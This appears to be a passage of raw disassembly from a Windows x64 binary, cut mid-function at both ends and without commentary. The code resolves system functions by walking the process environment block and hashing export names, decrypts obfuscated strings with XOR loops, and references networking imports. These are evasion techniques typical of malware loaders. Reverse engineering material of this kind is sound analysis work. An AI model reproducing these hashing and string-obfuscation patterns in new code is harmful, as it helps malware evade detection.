jl 0x14007e1e5
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm2, xmmword [0x1400b84a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400b8230]
xorps xmm2, xmm0
movd dword [rbp + 0x48], xmm2
movdqa xmm3, xmmword [0x1400b84b0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4c]
xorps xmm2, xmm1
movd dword [rbp + 0x4c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14007e1f0
lea rcx, [rbp + 0x48]
call r11
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14007ba14
mov rbx, rax
mov qword [rbp - 0x28], rax
movsd xmm0, qword [str.FGPDYYT__]
movsd qword [rsp + 0x68], xmm0
movzx ecx, byte [0x1400b75a0]
mov byte [rsp + 0x68], 0x75
xor byte [rsp + 0x69], 0x34
xor byte [rsp + 0x6a], 0x35
xor byte [rsp + 0x6b], 0x36
xor byte [rsp + 0x6c], 0x37
xor byte [rsp + 0x6d], 0x38
xor byte [rsp + 0x6e], 0x39
xor byte [rsp + 0x6f], 0x3a
xor cl, 0x3b
mov byte [rsp + 0x70], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
lea rax, [rsp + 0x68]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007e2a0
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x38]
call fcn.140003e60
mov edi, dword ds:[rbp - 0x10]
bts edi, 0xb
or edi, 1
mov dword [rbp - 0x10], edi
mov eax, dword [0x1400b75a8]
mov dword [rbp - 0x68], eax
movzx eax, word [0x1400b75ac]
mov word [rbp - 0x64], ax
mov byte [rbp - 0x68], WSAGetLastError
xor byte [rbp - 0x67], 0x34
xor byte [rbp - 0x66], 0x35
xor byte [rbp - 0x65], 0x36
xor al, 0x37
mov byte [rbp - 0x64], al
xor byte [rbp - 0x63], 0x38
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.14000c7c0
nop
or edi, 2
mov dword [rbp - 0x10], edi
lea r8, [rsp + 0x38]
mov rdx, rax
mov rcx, rbx
call fcn.1400851a0
mov r14, rax
test dil, 2
je 0x14007e336
and edi, 0xfffffffd
mov dword [rbp - 0x10], edi
lea rcx, [rbp - 0x60]
call fcn.140004800
nop
nop word [rax + rax]
test dil, 1
je 0x14007e619
and edi, 0xfffffffe
mov dword [rbp - 0x10], edi
lea rcx, [rsp + 0x38]
call fcn.140004800
jmp 0x14007e619
movups xmm0, xmmword [str.vZASE]
movups xmmword [rbp + 0x48], xmm0
mov eax, dword [0x1400b7b90]
mov dword [rbp + 0x58], eax
movzx eax, word [0x1400b7b94]
mov word [rbp + 0x5c], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007e414
cmp word ds:[rax + 0x48], 0
je 0x14007e414
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007e414
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007e414
mov r11d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x54a8d3f6
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007e40f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007e3f0
cmp edx, 0xa351b0d5
je 0x14007e41c
test r9d, r9d
jne 0x14007e3d0
mov rax, qword [rax]
jmp 0x14007e390
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r15d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007e577
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp + 0x48]
mov edx, dword [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007e472
cmp r8d, 0x16
jge 0x14007e5c6
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14007e590
lea rcx, [rbp + 0x48]
call r11
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14007ba14
mov qword [rbp - 0x28], rax
mov byte [rbp - 0x18], 0
lea rdx, [rbp - 0x18]
mov rcx, rax
call fcn.140003e10
mov r14, rax
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
mov rdx, r14
mov rcx, rbx
call fcn.140013460
mov edi, dword [rbp - 0x10]
mov ecx, 1
call fcn.14007ba14
mov r13, rax
mov qword [rbp - 0x28], rax
mov byte [rax], reloc.WLDAP32.dll_Ordinal_50
test r14, r14
je 0x14007ea3b
lea rax, [rsp + 0x38]
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x38], 0
mov rdx, r14
lea rcx, [rbp]
call fcn.140009d80
nop
lea r8, [rsp + 0x38]
mov rdx, rax
lea rcx, [0x1400c76a0]
call fcn.1400244dc
cmp byte [0x1400c78b0], 0
jne 0x14007e6ea
mov eax, dword [0x1400b75a8]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400b75ac]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor al, 0x37
mov byte [rsp + 0x34], al
xor byte [rsp + 0x35], 0x38
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.14000c7c0
nop
mov rcx, rax
call fcn.1400846c0
nop
lea rcx, [rbp - 0x60]
call fcn.140004800
jmp 0x140080611
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.14007ba14
mov qword [rbp - 0x68], rax
mov rdx, qword [0x1400c7888]
add rdx, 0xffffffffffffffc0
mov rcx, rax
call fcn.140009d80
mov r13, rax
test rax, rax
je 0x14007ea25
mov ecx, 4
call fcn.14007ba14
mov rsi, rax
mov qword [rbp - 0x68], rax
mov ecx, dword [str.AMF6]
mov dword [rax], ecx
cmp byte [0x1400b7a43], 0
je 0x14007e810
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007e7cb
movdqa xmm3, xmmword [0x1400b84a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b8550]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b8550]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14007e810
mov r9, rsi
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007e7e0
mov rdx, rsi
mov rcx, r13
call fcn.1400097c0
mov rbx, rax
mov rcx, r13
call fcn.140009990
mov edx, 1
call fcn.140007900
mov dword ds:[rsi], 0
mov edx, 4
mov rcx, rsi
call fcn.14007b770
cmp rbx, 0xffffffffffffffff
je 0x14007ea25
movsd xmm0, qword [str.FGPDYYT__]
movsd qword [rsp + 0x78], xmm0
movzx eax, byte [0x1400b75a0]
mov byte [rsp + 0x78], 0x75
xor byte [rsp + 0x79], 0x34
xor byte [rsp + 0x7a], 0x35
xor byte [rsp + 0x7b], 0x36
xor byte [rsp + 0x7c], 0x37
xor byte [rsp + 0x7d], 0x38
xor byte [rsp + 0x7e], 0x39
xor byte [rsp + 0x7f], 0x3a
xor al, 0x3b
mov byte [rbp - 0x80], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
lea rax, [rsp + 0x78]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007e8b0
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x38]
call fcn.140003e60
bts edi, 0xc
mov dword [rbp - 0x10], edi
mov eax, dword [0x1400b75a8]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400b75ac]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor al, 0x37
mov byte [rsp + 0x34], al
xor byte [rsp + 0x35], 0x38
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x20]
lea rcx, [rbp]
call fcn.14000c7c0
nop
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.140084ee0
movzx ebx, al
lea rcx, [rbp]
call fcn.140004800
nop
lea rcx, [rsp + 0x38]
call fcn.140004800
nop dword [rax]
test bl, bl
jne 0x14007ea25
movsd xmm0, qword [str.FGPDYYT__]
movsd qword [rbp - 0x78], xmm0
movzx eax, byte [0x1400b75a0]
mov byte [rbp - 0x78], 0x75
xor byte [rbp - 0x77], 0x34
xor byte [rbp - 0x76], 0x35
xor byte [rbp - 0x75], 0x36
xor byte [rbp - 0x74], 0x37
xor byte [rbp - 0x73], 0x38
xor byte [rbp - 0x72], 0x39
xor byte [rbp - 0x71], 0x3a
xor al, 0x3b
mov byte [rbp - 0x70], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
lea rax, [rbp - 0x78]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14007e9a0
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x38]
call fcn.140003e60
bts edi, 0xd
mov dword [rbp - 0x10], edi
mov eax, dword [0x1400b75a8]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1400b75ac]
mov word [rbp - 0x2c], ax
mov byte [rbp - 0x30], WSAGetLastError
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor al, 0x37
mov byte [rbp - 0x2c], al
xor byte [rbp - 0x2b], 0x38
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x20]
lea rcx, [rbp]
call fcn.14000c7c0
nop
mov r8, r14
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.1400841a0
nop
lea rcx, [rbp]
call fcn.140004800
nop
lea rcx, [rsp + 0x38]
call fcn.140004800
mov rcx, r14
call fcn.140009990
mov edx, 1
call fcn.140007900
mov r13, qword [rbp - 0x28]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
call fcn.14007ba14
mov rbx, rax
mov qword [rbp - 0x30], rax
movups xmm0, xmmword [0x1400b7c08]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400b7c18]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x1400b7c28]
mov byte [rax + 0x20], cl
lea rcx, [0x1400c76a0]
call fcn.1400203a8
cmp byte [0x1400c78b0], 0
nop
je 0x1400805f2
cmp byte [rbx + 0x20], 0
je 0x14007ec10
mov r8d, r15d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007ebd6
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
mov rcx, rbx
mov edx, dword [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007ead1
cmp r8d, 0x21
jge 0x14007ec10
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14007ebe0
inc r12
cmp byte [rbx + r12], 0
jne 0x14007ec10
lea rcx, [0x1400c78b8]
cmp qword [0x1400c78d0], 0xf
cmova rcx, qword [0x1400c78b8]
mov rdi, qword [0x1400c78c8]
cmp rdi, r12
jne 0x14007ec50
mov r8, rdi
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400805f2
test rdi, rdi
je 0x1400805f2
lea rcx, [0x1400c76a0]
call fcn.140020e04
test al, al
jne 0x1400805f2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
mov byte [rbx + 0x20], al
lea edx, [rax + 0x21]
mov rcx, rbx
call fcn.14007b770
mov eax, dword [str.PXF6__R_Y8]
mov dword [rbp - 0x18], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007ed14
cmp word [rax + 0x48], 0
je 0x14007ed14
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007ed14
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007ed14
mov r11d, dword [rbx + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x441b44a1
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007ed0f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007ecf0
cmp edx, 0xa1e7e980
je 0x14007ed19
test r9d, r9d
jne 0x14007ecd2
mov rax, qword [rax]
jmp 0x14007eca1
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x14007edc8
movdqa xmm3, xmmword [0x1400b84a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b8550]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b8550]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b84c0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
movd xmm0, dword [rbp - 0x18]
xorps xmm2, xmm0
movd dword [rbp - 0x18], xmm2
jmp 0x14007ee06
lea r9, [rbp - 0x18]
mov r8d, r15d
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007edd0
lea rcx, [rbp - 0x18]
call r11
movups xmm0, xmmword [str.p__XR_M]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [str.0_f]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [0x1400b7ca0]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400b7ca8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1400b7cac]
mov byte [rbp - 0x34], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007eed4
cmp word [rax + 0x48], 0
je 0x14007eed4
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007eed4
mov r9d, dword ds:[rbx + 0x18]
test r9d, r9d
je 0x14007eed4
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x20c7cf43
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007eecf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007eeb0
cmp edx, 0xa14296ec
je 0x14007eedc
test r9d, r9d
jne 0x14007ee90
mov rax, qword [rax]
jmp 0x14007ee54
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14007f046
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x60]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14007ef40
nop
cmp r8d, 0x2d
jge 0x14007f086
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14007f050
lea rcx, [rbp - 0x60]
call r11
movups xmm0, xmmword [str.DPXV]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [str.___5_h]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x1400b8468]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400b846c]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400b846e]
mov byte [rsp + 0x56], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14007f154
cmp word [rax + 0x48], 0
je 0x14007f154
movsxd rcx, dword ds:[r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14007f154
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14007f154
mov r11d, dword [rbx + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xe8ebe451
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14007f14f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14007f130
cmp edx, 0x2937a0ae
je 0x14007f15c
test r9d, r9d
jne 0x14007f112
mov rax, qword [rax]
jmp 0x14007f0e0
mov edx, dword ds:[rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x14007f2c6
movdqa xmm5, xmmword [0x1400b84a0]
movdqa xmm4, xmmword [0x1400b8550]
movdqa xmm6, xmmword [0x1400b84c0]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp], xmm0
lea rcx, [rsp + 0x38]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b8530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007f1c0
nop
cmp r8d, 0x1f
jge 0x14007f310
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
